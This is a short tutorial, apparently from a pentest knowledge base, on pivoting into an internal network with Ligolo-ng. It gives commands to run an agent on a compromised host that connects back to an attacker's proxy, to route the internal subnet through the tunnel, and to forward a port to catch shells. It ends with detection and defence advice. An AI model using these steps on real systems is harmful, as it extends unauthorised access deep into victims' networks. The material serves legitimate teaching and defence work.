Pivoting with Ligolo-ng

Ligolo-ng pivots by creating a virtual network interface (tun) on the attacker's machine: instead of routing each tool through a SOCKS with proxychains, you add a route to the internal subnet and all traffic enters natively, as if you were plugged into that network. It is the most comfortable pivoting when you need to run many tools against an internal segment.

Why it works. Ligolo runs a proxy on the attacker (which creates the tun interface) and an agent on the compromised host, which connects back to the proxy. Once the tunnel is up, you start a session and add a route on the attacker toward the internal subnet via ligolo: the kernel sends any packet destined for that network out that interface, and the agent re-injects it on the other side. There is nothing to "socksify".

The abuse. You start the proxy, upload and run the agent on the pivot, and route the internal subnet through the tun interface.

# on the attacker: proxy with ligolo's TUN interface
sudo ip tuntap add user <user> mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert

# on the compromised pivot: connect the agent back to the proxy
./agent -connect <lhost>:11601 -ignore-cert

# on the attacker (ligolo console): start the session and add the internal route
session
sudo ip route add <internal-network>/24 dev ligolo
# forward a port on the attacker into the internal network (to catch shells from inside)
listener_add --addr 0.0.0.0:<lport> --to 127.0.0.1:<lport> --tcp

In recent ligolo versions the proxy creates the tun interface itself: just ./proxy -selfcert and, in the console, session then start on the interface it offers.

Requirements. You need to run the agent on the pivot (one binary per architecture, x64/x86) and it must be able to connect back to the proxy (or use a reverse listener). It gives full network pivoting, not just TCP: it works for scans, ICMP and tools that ignore proxychains.

How to detect it. The signal is an unknown binary (the agent) establishing a persistent outbound connection to an external IP over an atypical port (11601 by default), and a volume of internal traffic from that process. On the network, a long-lived encrypted connection channelling traffic to many internal destinations is the signature, as with other tunnels.

Defence. Application control (block unsigned binaries like the agent), restricted egress so the agent cannot "call home", network segmentation, and detection of anomalous persistent outbound connections. It shares its goal with SSH SOCKS, sshuttle and the socat relay, but avoids proxychains.